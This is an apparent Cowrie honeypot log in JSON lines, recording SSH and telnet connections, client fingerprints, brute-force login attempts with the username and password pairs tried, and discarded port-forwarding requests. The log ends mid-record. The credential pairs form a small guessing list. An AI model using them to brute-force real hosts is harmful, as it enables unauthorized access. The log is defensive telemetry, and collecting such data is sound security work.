{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:25.039287Z","src_ip":"87.251.64.176","session":"ce3b4a704c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:25.140476Z","src_ip":"87.251.64.176","session":"ce3b4a704c5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53386,"dst_ip":"10.17.0.5","dst_port":22,"session":"091658d800b2","protocol":"ssh","message":"New connection: 89.223.69.22:53386 (10.17.0.5:22) [session: 091658d800b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:16.061713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:16.066772Z","src_ip":"89.223.69.22","session":"091658d800b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:16.180407Z","src_ip":"89.223.69.22","session":"091658d800b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051989","message":"login attempt [root/12051989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:16.521715Z","src_ip":"89.223.69.22","session":"091658d800b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:17.637153Z","src_ip":"89.223.69.22","session":"091658d800b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":45660,"dst_ip":"10.17.0.5","dst_port":22,"session":"376338c14fbe","protocol":"ssh","message":"New connection: 45.114.124.44:45660 (10.17.0.5:22) [session: 376338c14fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:24.079291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:24.084263Z","src_ip":"45.114.124.44","session":"376338c14fbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:24.297865Z","src_ip":"45.114.124.44","session":"376338c14fbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:25.182531Z","src_ip":"45.114.124.44","session":"376338c14fbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:46:26.409704Z","src_ip":"45.114.124.44","session":"376338c14fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":33976,"dst_ip":"10.17.0.5","dst_port":22,"session":"af2baf5272d0","protocol":"ssh","message":"New connection: 103.149.170.125:33976 (10.17.0.5:22) [session: af2baf5272d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:47:33.326605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:47:33.914095Z","src_ip":"103.149.170.125","session":"af2baf5272d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:47:33.917946Z","src_ip":"103.149.170.125","session":"af2baf5272d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhbcnbyf123","message":"login attempt [root/rhbcnbyf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:47:34.968647Z","src_ip":"103.149.170.125","session":"af2baf5272d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:47:36.237851Z","src_ip":"103.149.170.125","session":"af2baf5272d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":51096,"dst_ip":"159.203.135.109","dst_port":22,"session":"354d3f3e5295","protocol":"ssh","message":"New connection: 103.173.227.57:51096 (159.203.135.109:22) [session: 354d3f3e5295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:34.861993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:34.867117Z","src_ip":"103.173.227.57","session":"354d3f3e5295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:35.116675Z","src_ip":"103.173.227.57","session":"354d3f3e5295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345rewq","message":"login attempt [root/12345rewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:35.868846Z","src_ip":"103.173.227.57","session":"354d3f3e5295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:37.120731Z","src_ip":"103.173.227.57","session":"354d3f3e5295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18448,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c080a2ae08","protocol":"ssh","message":"New connection: 87.251.64.176:18448 (10.17.0.5:22) [session: a7c080a2ae08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:46.864654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:46.869722Z","src_ip":"87.251.64.176","session":"a7c080a2ae08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:46.965812Z","src_ip":"87.251.64.176","session":"a7c080a2ae08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:47.251882Z","src_ip":"87.251.64.176","session":"a7c080a2ae08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:47.349353Z","session":"a7c080a2ae08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:47.444997Z","src_ip":"87.251.64.176","session":"a7c080a2ae08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:47.541076Z","src_ip":"87.251.64.176","session":"a7c080a2ae08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53642,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2d0313395d","protocol":"ssh","message":"New connection: 193.37.70.224:53642 (10.17.0.5:22) [session: 0c2d0313395d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:47.672463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:47.676901Z","src_ip":"193.37.70.224","session":"0c2d0313395d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:47.770109Z","src_ip":"193.37.70.224","session":"0c2d0313395d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"turkey","message":"login attempt [root/turkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:48.039871Z","src_ip":"193.37.70.224","session":"0c2d0313395d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:48:49.133019Z","src_ip":"193.37.70.224","session":"0c2d0313395d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":60456,"dst_ip":"159.203.135.109","dst_port":22,"session":"f50128fcaf3b","protocol":"ssh","message":"New connection: 147.45.199.80:60456 (159.203.135.109:22) [session: f50128fcaf3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:49:37.275887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:49:37.280037Z","src_ip":"147.45.199.80","session":"f50128fcaf3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:49:37.374474Z","src_ip":"147.45.199.80","session":"f50128fcaf3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20021991","message":"login attempt [root/20021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:49:37.658898Z","src_ip":"147.45.199.80","session":"f50128fcaf3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:49:38.756433Z","src_ip":"147.45.199.80","session":"f50128fcaf3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36356,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7bc7c312ecf","protocol":"telnet","message":"New connection: 69.4.83.194:36356 (159.203.135.109:23) [session: d7bc7c312ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:49:41.466764Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":49130,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4469cad867","protocol":"ssh","message":"New connection: 200.90.8.86:49130 (10.17.0.5:22) [session: dc4469cad867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:50:10.931892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:50:10.940128Z","src_ip":"200.90.8.86","session":"dc4469cad867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-